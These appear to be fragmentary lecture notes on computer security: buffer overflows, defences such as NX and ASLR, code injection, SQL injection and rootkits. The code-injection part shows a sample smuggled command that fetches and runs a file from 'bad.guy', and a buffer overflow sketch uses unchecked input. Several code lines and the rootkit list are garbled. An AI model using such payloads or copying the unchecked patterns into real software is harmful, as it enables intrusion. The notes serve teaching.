Security

1st case

impersonating
user
+ authentication

2nd case

user -> unauthorized access

Implicit assumption:
- system works correctly
- no bugs
- etc.

Today: Attacks
Model 1: attacker -> service

Model 2:

1st class D attack

Buffer Overflow:
s = socket();
bind(s);
fd = listen/accept;
char buf[80];
chars * result = fgets(fd, buf);
Buffer overflow relies on:
1. ability to overwrite return address
2. execute code on the stack
3. no arbitrary code

Set of techniques used to defend against these attacks:
1. Managed language makes control stack unaccessible.
2. Auditing: just don't do it. (eliminate the use of such language constructs that allow this)
3. Execute permission (OS level) (NX bit) will not execute code on stack etc.

Another plan of attack:
5. difficult but you can use it to attack.
Preventing this type of attack

- ASLR (address space layout randomization)
  - You need to know where stack points it (earlier)
  - Everytime you run it
  - If you randomly allocate stack or libraries
    - On different locations, so you can prevent it.

Anomaly Detection:
- You know the call stack
- Use it to learn and identify patterns.
- Use the model to detect attacks.

Application Level Attacks:

- Code Injection
  $pointer = \langle user \ input \rangle$
  $FP = \text{open}("/ \ lpr \ -P \ \$pointer")$
  ______ unchecked variable input.
  What if $pointer = " \$wget http://bad.guy/attack; /attack" ;$
  $system();$  If they execute a command on shell.
  $popen();$
  SQL Injection: $query = \text{select } * \text{ from table where }$
  $* = \$var$

Root Kit:

< Diagram showing processes to maintain access to compromised terminal, daemon, application level.
/bin/ps
/bin/ls
/sysconf table
sys_readdir
open
sys_readdir
rm -attack -rd
<